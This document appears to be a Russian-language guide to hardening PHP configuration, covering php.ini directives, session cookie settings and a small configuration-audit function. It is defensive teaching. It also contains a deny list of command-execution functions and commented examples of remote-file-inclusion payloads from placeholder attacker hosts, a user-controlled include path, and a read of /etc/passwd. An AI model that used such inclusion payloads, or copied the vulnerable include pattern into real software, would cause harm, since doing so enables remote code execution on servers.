Настройки безопасности
Принцип минимальных привилегий
Безопасная конфигурация PHP следует принципу "запретить всё, разрешить только необходимое". Каждая раскрытая деталь о системе -- потенциальный вектор атаки. Каждая доступная функция -- потенциальный инструмент злоумышленника.
Скрытие информации о PHP
expose_php
; Removes X-Powered-By header from HTTP responses
; Default: On (INSECURE!)
expose_php = Off
Когда expose_php = On, каждый HTTP-ответ содержит заголовок:
X-Powered-By: PHP/8.4.3
Это раскрывает версию PHP, что помогает атакующим искать уязвимости конкретной версии.
display_errors и display_startup_errors
; NEVER show errors to users in production
display_errors = Off
display_startup_errors = Off
; ALWAYS log errors instead
log_errors = On
log_errors_max_len = 4096
; Dedicated error log file
error_log = /var/log/php/error.log
; Report all errors (but don't display them)
error_reporting = E_ALL
<?php
// What attacker sees with display_errors = On:
// Fatal error: Uncaught PDOException: SQLSTATE[42S02]:
// Base table or view not found: 1146 Table 'myapp.users'
// in /var/www/app/src/Repository/UserRepository.php:42
// This reveals:
// 1. Database engine (MySQL)
// 2. Database name (myapp)
// 3. Table name (users)
// 4. Full file path (/var/www/app/src/...)
// 5. Code structure (Repository pattern)
Правило: На production всегда
display_errors = Off+log_errors = On. Ошибки видит разработчик в логах, а не пользователь (и атакующий) в браузере.
Скрытие аргументов в stack trace
; PHP 8.0+: Hide function arguments in stack traces
; Prevents leaking passwords, tokens, etc. in error logs
zend.exception_ignore_args = On
; PHP 8.0+: Limit string parameter length in traces
; 0 = don't include string values at all
zend.exception_string_param_max_len = 0
Ограничение файловой системы
open_basedir
; Restrict PHP file access to specific directories
; PHP cannot read/write/include files outside these paths
open_basedir = /var/www/app:/tmp:/usr/share/php
; Multiple paths separated by : (Linux) or ; (Windows)
; ALWAYS include tmp directory for file uploads and sessions
<?php
// With open_basedir = /var/www/app:/tmp
file_get_contents('/var/www/app/config/settings.php'); // OK
file_get_contents('/etc/passwd'); // Warning: open_basedir restriction
include '/var/log/nginx/access.log'; // Warning: open_basedir restriction
Важно:
open_basedirимеет уровеньPHP_INI_SYSTEM(PHP 8.0+). Нельзя изменить черезini_set()или.user.ini. Настраивается только в php.ini или httpd.conf.
doc_root и user_dir
; Restrict PHP to specific document root (rarely used with FPM)
doc_root = /var/www/app/public
; Per-user directory for ~/public_html setups
user_dir = public_html
Отключение опасных функций
disable_functions
; Disable dangerous functions that allow system command execution
; PHP_INI_SYSTEM -- only in php.ini
disable_functions = exec,shell_exec,system,passthru,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,popen,dl,putenv,show_source,highlight_file,phpinfo,php_uname
; Minimal recommended set for web applications:
disable_functions = exec,shell_exec,system,passthru,proc_open,popen
Разбор опасных функций
| Функция | Опасность | Когда нужна |
|---|---|---|
exec() |
Выполнение команд ОС | CLI-скрипты, воркеры |
shell_exec() |
То же через shell | Почти никогда |
system() |
Вывод команды напрямую | Редко |
passthru() |
Бинарный вывод команды | Генерация файлов |
proc_open() |
Управление процессами | Symfony Process |
popen() |
Открытие pipe к процессу | Потоковая обработка |
putenv() |
Изменение ENV переменных | Может влиять на загрузку библиотек |
phpinfo() |
Раскрытие конфигурации | Только для отладки |
dl() |
Загрузка расширений | Никогда на production |
Внимание: Symfony Process использует
proc_open(). Если ваше приложение использует этот компонент (например, для отправки email через sendmail), не отключайтеproc_open.
disable_classes
; Disable specific classes (rarely used, but available)
disable_classes =
Настройки сессий
Безопасность cookie сессии
[Session]
; Session cookie settings -- CRITICAL for security
; HttpOnly: JavaScript cannot access session cookie
; Prevents XSS-based session hijacking
session.cookie_httponly = 1
; Secure: Cookie sent only over HTTPS
; MUST enable if site uses HTTPS (should be always)
session.cookie_secure = 1
; SameSite: Controls cross-site cookie sending
; "Strict" -- never sent cross-site (may break OAuth redirects)
; "Lax" -- sent on top-level navigation (recommended default)
; "None" -- always sent (requires Secure=true, needed for iframes)
session.cookie_samesite = Lax
; Session name (default: PHPSESSID -- reveals PHP usage)
session.name = __sess
; Cookie lifetime: 0 = until browser closes (session cookie)
session.cookie_lifetime = 0
; Cookie path and domain
session.cookie_path = /
session.cookie_domain =
Строгий режим сессий
; Strict mode: reject uninitialized session IDs
; Prevents session fixation attacks
session.use_strict_mode = 1
; Only use cookies for session ID (no URL parameters)
session.use_cookies = 1
session.use_only_cookies = 1
; Transparent session ID disabled (no ?PHPSESSID=xxx in URLs)
session.use_trans_sid = 0
; Session ID length and entropy
session.sid_length = 48
session.sid_bits_per_character = 6
Сравнение настроек
| Директива | Небезопасно | Безопасно | Зачем |
|---|---|---|---|
cookie_httponly |
0 | 1 | Защита от XSS |
cookie_secure |
0 | 1 | Только HTTPS |
cookie_samesite |
(пусто) | Lax/Strict | Защита от CSRF |
use_strict_mode |
0 | 1 | Защита от session fixation |
use_only_cookies |
0 | 1 | Не передавать ID в URL |
use_trans_sid |
1 | 0 | Не встраивать ID в HTML |
Ограничение удалённого доступа
allow_url_fopen и allow_url_include
; allow_url_fopen: Allow file functions to access URLs
; Default: On. Needed for many libraries (Composer, HTTP clients)
allow_url_fopen = On
; allow_url_include: Allow include/require with URLs
; Default: Off. NEVER enable! Remote code execution risk
allow_url_include = Off
<?php
// allow_url_fopen = On (usually needed)
$content = file_get_contents('https://api.example.com/data');
// Works. Many libraries depend on this.
// allow_url_include = Off (ALWAYS keep off!)
// include 'https://evil.com/malicious.php'; // BLOCKED
// require 'ftp://attacker.com/shell.php'; // BLOCKED
// If attacker can control include path:
$page = $_GET['page']; // "https://evil.com/shell"
// include $page . '.php'; // With allow_url_include=On: RCE!
Различие:
allow_url_fopenпозволяетfile_get_contents()иfopen()работать с URL.allow_url_includeпозволяетinclude/requireзагружать код с удалённых серверов. Первое обычно нужно, второе -- никогда.
Дополнительные директивы безопасности
Ограничение ресурсов
; Limit POST body size (prevents memory exhaustion attacks)
post_max_size = 8M
; Limit uploaded file size
upload_max_filesize = 2M
; Limit number of input variables (prevents hash DoS)
max_input_vars = 1000
; Maximum nesting level (prevents stack overflow via deep JSON/XML)
xdebug.max_nesting_level = 256
Логирование для безопасности
; Log all errors -- essential for security monitoring
log_errors = On
error_log = /var/log/php/error.log
; Log deprecated notices (helps prepare for version upgrades)
error_reporting = E_ALL
; Mail errors to admin (use sparingly!)
; error_log = syslog ; Send to syslog for centralized monitoring
Полная production-конфигурация безопасности
; === SECURITY HARDENING ===
[PHP]
; Hide PHP
expose_php = Off
; Error handling
display_errors = Off
display_startup_errors = Off
log_errors = On
error_log = /var/log/php/error.log
error_reporting = E_ALL
zend.exception_ignore_args = On
zend.exception_string_param_max_len = 0
; File access restriction
open_basedir = /var/www/app:/tmp
allow_url_fopen = On
allow_url_include = Off
; Disable dangerous functions
disable_functions = exec,shell_exec,system,passthru,proc_open,popen,dl,putenv,phpinfo,show_source
disable_classes =
; Input limits
max_input_vars = 1000
post_max_size = 8M
upload_max_filesize = 2M
[Session]
session.cookie_httponly = 1
session.cookie_secure = 1
session.cookie_samesite = Lax
session.use_strict_mode = 1
session.use_only_cookies = 1
session.use_trans_sid = 0
session.name = __sess
session.sid_length = 48
session.sid_bits_per_character = 6
Проверка безопасности конфигурации
<?php
function auditSecurityConfig(): array
{
$issues = [];
if (ini_get('expose_php')) {
$issues[] = 'expose_php is On -- reveals PHP version';
}
if (ini_get('display_errors')) {
$issues[] = 'display_errors is On -- shows errors to users';
}
if (!ini_get('log_errors')) {
$issues[] = 'log_errors is Off -- errors are lost';
}
if (ini_get('allow_url_include')) {
$issues[] = 'CRITICAL: allow_url_include is On -- RCE risk!';
}
if (!ini_get('session.cookie_httponly')) {
$issues[] = 'session.cookie_httponly is Off -- XSS risk';
}
if (!ini_get('session.cookie_secure')) {
$issues[] = 'session.cookie_secure is Off -- cookie sent over HTTP';
}
if (!ini_get('session.use_strict_mode')) {
$issues[] = 'session.use_strict_mode is Off -- fixation risk';
}
$disabled = ini_get('disable_functions');
$dangerous = ['exec', 'shell_exec', 'system', 'passthru'];
foreach ($dangerous as $func) {
if (!str_contains($disabled, $func)) {
$issues[] = "$func is not disabled";
}
}
return $issues;
}